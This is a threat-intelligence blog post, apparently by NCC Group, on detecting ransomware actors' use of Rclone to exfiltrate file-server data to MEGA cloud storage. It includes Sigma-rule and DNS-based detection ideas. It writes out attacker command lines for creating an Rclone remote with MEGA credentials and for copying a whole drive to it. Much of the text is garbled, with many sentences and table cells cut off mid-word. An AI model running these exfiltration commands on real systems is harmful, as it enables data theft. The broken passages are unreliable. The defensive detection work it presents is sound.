Detecting Rclone – An Effective Tool for Exfiltration

27 May 2021 By Aaron Greetham

Research Threat Intelligence Managed Detection & Response

NCC Group's Cyber Incident Response Team (CIRT) have responded to a large number of ransomware cases where frequently the open source tool Rc of copying data to an array of cloud storage p onal methods of detection, including Sig

Frequently Rclone is us le on leak sites. In the case of Conti ransomwa it is being copied to another location using storage providers and instead VPS hosting is b

Internal file servers with run for a period of time spanning multiple a. In all cases observed so far, data exfiltration .

Rclone requires a config ovider) which can be done in one of two ways

On the command line:

```
.rclone.exe config cre
```

The table below breaks

config	Initiates t
create	Creation
remote	Name given to the remote profile being created (name can vary)
mega	Cloud storage provider
user	Username for the MEGA.io account
pass	Password for the MEGA.io account obscured

Config Command Breakdown

Alternatively the inbuilt configuration guide can be used which walks through the process offering different options:

```
.rclone.exe config
```

Once the profile has been created the following configuration file is created:

```
C:Users.configrclonerclone.conf
```

In a recent incident response engagement, NCC CIRT were able to recover a configuration file from this location which looked like the following:

```
[remote]
type = mega
user = [redacted]@outlook.com
pass = [redacted]
```

Once the configuration has been made it is possible to connect to MEGA and exfiltrate the data. In examples observed by NCC Group CIRT, actors have accessed file servers, browsed shared drives and then pointed Rclone at the drives like the example below.

```
.rclone.exe copy E: re
```

copy	Comman
E:	Drive or
remote	Specifies
data	Folder or

Once the data is being such as
`gfs270n071.userstora` the MEGA ASN 205809
but not in all cases. Wh ngle IP address which
can be seen as a spike i

In some cases actors ha ase found the actor
had renamed the Rclon

Sigma Rules

The following Sigma rul

Rclone Execution via Command Line or PowerShell	
Rclone config file creation	This Sigma rule will detect the creation of the Rclone configuration file. The Sysmon configuration must include the following for the FileCreate rule group. `rclone`
DNS Query for MEGA.io Upload Domain	This final rule will detect DNS queries for subdomains of `userstorage.mega.co[.]nz.`

Sigma Rule Breakdown

Aaron Greetham